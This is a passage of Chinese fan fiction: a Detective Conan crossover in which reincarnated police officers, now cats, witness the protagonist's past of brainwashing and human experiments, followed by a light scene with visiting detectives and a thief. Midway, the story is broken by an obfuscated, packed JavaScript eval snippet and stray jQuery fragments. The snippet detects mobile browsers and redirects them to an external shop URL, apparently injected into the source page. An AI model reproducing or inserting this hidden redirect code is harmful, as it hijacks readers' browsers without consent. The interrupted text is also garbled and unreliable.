原来,他的认知和人格早就被人用最恶劣的手段打碎又拼成全新的模样。

    诸伏景光看着他在催眠和精神药物的作用下完全地偏离了那个最初坚持着的自我,成为满足玛德琳乃至厄舍家族野心最好用的工具,继续研发T病毒、面不改色地做人体实验、制造生化武器。

    他长期承受着药物导致的躯体痛苦、长期睡眠障碍,精神一天比一天虚弱。

    痛苦达到顶峰会触底反弹,少年在某一天的夜晚短暂地挣脱了长期的催眠和洗脑,灵魂深处最纯善的本性对自己的所作所为产生了生理性的厌恶与抵触。

    他在洗浴室吐了很久。

    也就是从那天起,少年戴上了他们最熟悉的那张面具。

    白天在外人面前,他完美地扮演着玛德琳亲手塑造出的模样。而每一个夜晚,他又反复经历着被暴力灌输的非正常价值观与本能良知的拉扯和撕裂。

    同样从那天起,他开始用自己的身体反复来做病毒实验,过量摄入尼古丁、酒精。

    原来……是这样啊。

    ——所以你才不再相信人性。

    ——所以你才……恨着这个世界。

    -

    这座在回忆里的厄舍府,随着时间推移装修风格也随之愈发阴沉。

    暗黑阴郁的餐厅之中,诸伏景光第一次看见厄舍家族的成员齐聚于此。

    安静地只能听见餐叉声的房间里,蒙特雷索与五位家族成员坐在各自的座位上,享用着晚餐。

    黑发少年的胃口不佳,缓慢又小口地食用着自己餐盘里的食物——只在吃素食、避开了肉类。

    诸伏景光想他是知道原因的——除小蒙以外的家族成员里,有四位都在吃着非常可怕的东西——全生的、血淋淋的、看不出是什么的肉类。

    “上次看见莱奥吃就想问了,”他的同期狠狠地皱着眉,“这不会是我们想的那种东西吧?”

    诸伏景光尽可能平静地:“大概是的。”

    他的目光扫过这四人的皮肤和脸色,正常人无异。

    但如果非常近距离且仔细地观察,会发现这几人的皮肤下有着细微的青灰色。

    “这些人已经不配为人了。”松田阵平蹲在蒙特雷索的餐盘旁边,默默看着蒙特雷索嘴角那抹习惯性挂起的弧度——真是刺眼……让人难过。

    诸伏景光淡淡地:“他们是怪物。”而这里就是怪物的巢穴。

    那位当然也作恶多端的普洛斯佩罗,比起他的家人,居然姑且还算是正常人了。

    餐厅里在他们聊天间忽然发生变故——一位女佣在倒酒时由于手抖不小心将酒洒在了玛德琳的裙子上。

    这原本不是什么大事,以玛德琳之前的处事风格来看。

    但诸伏景光发觉这位惯会伪装、端庄优雅的女士在病毒的作用下似乎性情大变,抬手一巴掌就把女佣扇得嘴角出血倒在地上。

    那只涂着红色指甲油、在青灰色衬托下惨白得宛如吸血鬼的手扼住女佣咽喉。

    「抱……抱歉,夫人……饶了我,我错了……」

    道歉和求饶没有换来丝毫怜悯,玛德琳大有直接将她掐死的架势。

    「小……小少爷,救……救救我……」

    女佣在求生意识的支配下,抬起手挣扎着向房间里最可能会救她的人求救。

    「你……你在看什么呀?」玛德琳忽地笑出声来,这声音非常温柔但让听者只感受到恶意和恐惧,「说啊,你在看谁、你在叫谁。」

    女佣颤抖着收回视线,拼命哀求道歉。

    「我是不是反复地交代过,」玛德琳轻声问:「不可以直视小少爷的脸?」

    「这个世界上有很多比死更可怕的事情。」玛德琳甩开女佣,站起来用白色的餐巾擦掉手上的血,「玛吉,把她带到实验室去——啊,记得先把她的眼珠剜出来。」

    ——所以这就是那句“不可直视小少爷的脸”背后的故事。

    诸伏景光看向对餐厅里的变故全程没有丝毫反应的少年——又在用演技伪装着自己吗。

    跳下餐桌来到少年脚边,果然看见了少年放置在桌下的手用力地攥紧了。

    ——你曾说你活着的每一天,都像是在炼狱里。

    ——你的过去……现在我看见了。真的就是字面意思上的形容。

    有多少人能够在经历这一切后不发疯,能像少年这样坚强地走到现在?

    作为卧底在犯罪组织的公安警察,他曾以为自己见识过这个世界最黑暗的一面,现在才发现他只是窥见了深渊的一角。

    眼前泛黄的回忆渐渐淡去,诸伏景光感觉自己从未有如此的迫切,想去确认少年的状态,想去感受少年的呼吸。

    ——拜托了,一定要好好的。

    -

    蒙特雷索不知道自己又睡了多久,醒过来时是在熟悉的卧室中。

    从他昏迷前所在实验室位置的权限来说……大概是莱奥醒过来后将他从实验室带回了房间。

    鼻腔间全是小猫身上暖洋洋的味道,他呆滞几秒——记忆缓缓回笼。

    蒙特雷索:“…………”

    大脑混乱地从床上半坐起来,他与四位有些紧张看着他的猫咪老师面面相觑。

    猫咪老师们的眼神此时格外复杂——既有紧张,又有着太多他一时看不懂的情绪。

    四张各有特色的脸在脑海里一一划过,最后定格到了一张成熟温润的脸上——

    微长的黑发散乱地垂在额头,额头下是一双蓝灰色的上挑凤眼,这双眼睛搭配着并不锋利的下颌线条,再配上下颌上淡淡的胡茬,十分有记忆点的长相。

    这样想着,他不知怎么的有些不好意思起来,脸也开始不正常地发热。

    “呃,那个……”蒙特雷索挠了挠头,这个动作间不小心拉扯到了脖颈上的伤口,在猫咪老师们不赞同的目光中他悻悻地收回手,接着把话说完:“原来大家真的是猫咪妖怪呀。”

    猫咪们:“……”

    猫咪老师们的表情看起来似又有些无语。

    “变成人有前置条件吗?既然你们没有经常变成人形,我想是有条件的吧?那么要怎样才能变成人呢?现在是晚上不会有人来我的房间,所以我现在可以看到吗!……”

    化身为十万个为什么的蒙特雷索说着说着又有些兴奋起来,不过提议当然是被猫咪老师们给否决了。

    “……好吧。”

    他也没有强求,下意识要伸手去摸自己的猫咪老师们。然而猫咪老师们的人形又兀自在脑海里冒出来,片刻犹豫后还是克制地逐一rua过猫咪老师们的头,只是这个动作在轮到景喵时却在一个诡异地停顿后可疑地跳过了。

    景喵:“…………”

    “……咳。”他若无其事地假意咳嗽一声,眼神飘来飘去就是不好意思落在景喵身上。

    ——好奇怪啊。

    ——这种手脚都不知道往哪里放的尴尬感觉是怎么回事?

    完全没有头绪。

    猫咪老师们咪呜咪呜开始发出奇怪的声音,这让他不得不把注意力放在发出声音的萩喵、阵喵和航喵身上。

    “那个……猫咪老师,你们这是什么表情?”

    天知道为什么能从小猫脸上看出八卦的表情——第二次了,上次在病房也是这样,三只猫咪老师用微妙的眼神在他和景喵身上来回看

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827351|207964||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    蒙特雷索:“……?”氛围更奇怪了啊喂。

    他无言地去偷瞄景老师,却被温柔看着他的蓝灰色猫眼捕捉了个正着。

    “啊。”

    于是下意识发出了一个呆呆地单音节,只觉脸颊热度更甚。

    “那个,冒昧问一下,如果我没看错的话,你是在对着一只猫脸红吗?”

    窗边忽地传来一道熟悉的声音。

    蒙特雷索:“……”

    蒙特雷索深吸一口气,面无表情地:“这应该是我家而不是你们的后花园吧……柯南,以及这位怪盗先生。”

    他的目光扫过阳台上不自请来的人——一身白色西装的怪盗、小学生侦探以及……呃,由于皮肤过黑差点与夜色融为一体而被他看掉的关西侦探。

    “……服部?怎么你也在?”

    “喂喂喂,我不能在吗,这个不欢迎我的语气是怎么回事!”

    三人动作自然地从阳台迈入他的房间。

    “喂,我房间装不下这么多人。”他试图制止。

    “开什么玩笑啦,我家卧室都没你家卫生间大。”

    制止无效。

    蒙特雷索抽了抽嘴角,到底还是掀开被子下床准备去给这些不请自来的客人们泡壶茶水。

    “别别别,让我来,伤患好好休息就行。”察觉到他意图的怪盗立即将他按到沙发上坐下,娴熟地窜到了茶水区,“你们喝什么,咖啡、茶、果汁、红酒、牛奶?嗯,又有巧克力小饼干,这个上次吃过我还挺喜欢诶。”

    柯南:“果汁就行,谢谢。”

    服部:“同上。”

    ——不是……简直倒反天罡,这个怪盗!

    “你们来干嘛?”他费解地盯着这三个人。

    “当然是探病啦,听说你受伤了。”柯南说。

    ——好你个冲矢,原来你也和主角团有不清不楚的牵扯。

    “你们可真会挑时间啊。现在可是晚上……”他侧目看了眼房间里的古董钟,“十一点。”

    基德用餐盘端着四杯果汁和一大堆小饼干过来,“当然只能挑晚上啦,白天过来的话,以你家这个火力配备,我们三个人会急性重金属中毒而死的哦?多可怕!”

    蒙特雷索:“难道你们没考虑可以走正门吗?”

    “那更行不通了,”基德咬了口巧克力饼干,“你二哥莱奥有多凶你不是最清楚吗。”

    蒙特雷索:“……”

    蒙特雷索:“你的飞行翼能带的下这么多人?”

    “专门为了你改良过啦。”基德对他扬起一个酷酷的微笑,语调忽然压低,“我的……秘密朋友。”

    “……有点油腻了。”蒙特雷索露出接受无能的表情。

    基德大惊:“什么……油、油腻?!我吗?!”

    “噗哈哈哈哈。”抱着果汁喝的柯南和服部同时笑出声。

    “喂。”蒙特雷索面无表情地看着这三人,“两个侦探、一个小偷,怎么想都是死对头才对吧?一起在我家谈笑风生算怎么回事。”

    “具体问题具体分析啦,”柯南摊了摊手,“在你的事情上,我们目前是合作关系。”

    “那么现在看也看过了,喝完果汁就赶紧各回各家吧。”蒙特雷索毫不客气地催促。

    “别这么无情嘛前辈,我可是第一次来!”服部站起来在房间里走了走,最后停在四只小猫面前,“不介绍一下吗,这就是你上次说的喜欢到可以谈恋——”

    蒙特雷索必须得承认自己的速度从未这么敏捷过——没来得及想明白原因,身体的本能已经快过大脑,就这样顶着受伤的debuff死死地捂住了关西侦探的嘴。